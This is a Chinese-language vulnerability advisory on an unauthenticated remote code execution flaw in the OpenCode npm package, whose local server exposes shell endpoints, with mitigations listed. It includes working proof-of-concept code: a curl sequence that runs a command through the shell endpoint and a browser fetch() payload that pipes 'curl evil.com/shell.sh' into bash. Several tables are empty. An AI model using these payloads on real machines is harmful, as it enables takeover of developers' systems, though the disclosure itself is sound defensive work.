概述
OpenCode(npm包名:opencode-ai)存在一个未认证的远程代码执行(RCE)漏洞。攻击者可以在没有身份验证、用户交互或配置的情况下,执行任意代码。该漏洞影响多个版本的 OpenCode,具体取决于服务器功能和 CORS 设置。
漏洞关键信息
| |
|---|
| 受影响软件 | OpenCode(npm包:opencode-ai) |
| CVE 编号 | |
| 漏洞类型 | |
| 漏洞等级 | |
| 默认行为 | 在 v1.1.10 之前,OpenCode 会自动启动一个无认证的 HTTP 服务器 |
| 暴露端点 | 通过以下端点执行任意命令:/session/:id/shell、/pty、/file/content |
| CORS 策略 | 默认允许 *.opencode.ai 域名,允许跨域请求 |
| 攻击方式 | |
攻击向量
| | | |
|---|
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
*.opencode.ai | | | |
如果 opencode.ai 被入侵,攻击者可访问用户 | | | |
任何 XSS 在 opencode.ai 可入侵用户 | | | |
漏洞利用方式
🔍 本地利用(服务器启用)
API="http://127.0.0.1:4096"SESSION=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')curl -s -X POST "$API/session/$SESSION/shell" \ -H "Content-Type: application/json" \ -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'
🌐 浏览器利用(v1.0.216 之前)
fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}'}).then(r => r.json()).then(s => { fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent:'build', command:'curl evil.com/shell.sh|bash'}) })})
用户防御措施
- 升级到 v1.1.10 或更高版本(服务器默认禁用)
- 检查配置文件中的
server.port 或 server.hostname - 避免使用
--mdns 标志(绑定到 0.0.0.0) - 如果必须启用服务器,避免访问
opencode.ai 或其子域名
漏洞披露时间线
推荐措施
- 明确提示用户服务器是否运行(如启动消息或 UI 指示)
- 改进
--mdns 文档,说明其绑定到 0.0.0.0 并允许本地网络访问
- 明确 OpenCode 维护者、
opencode.ai 和用户之间的信任关系
漏洞分析总结
漏洞原因
- CORS 策略允许
opencode.ai 及其子域名访问
漏洞影响
- 攻击者可以在用户机器上执行任意代码,无需身份验证或用户交互
- 漏洞影响所有版本,除非服务器被显式禁用或配置了安全措施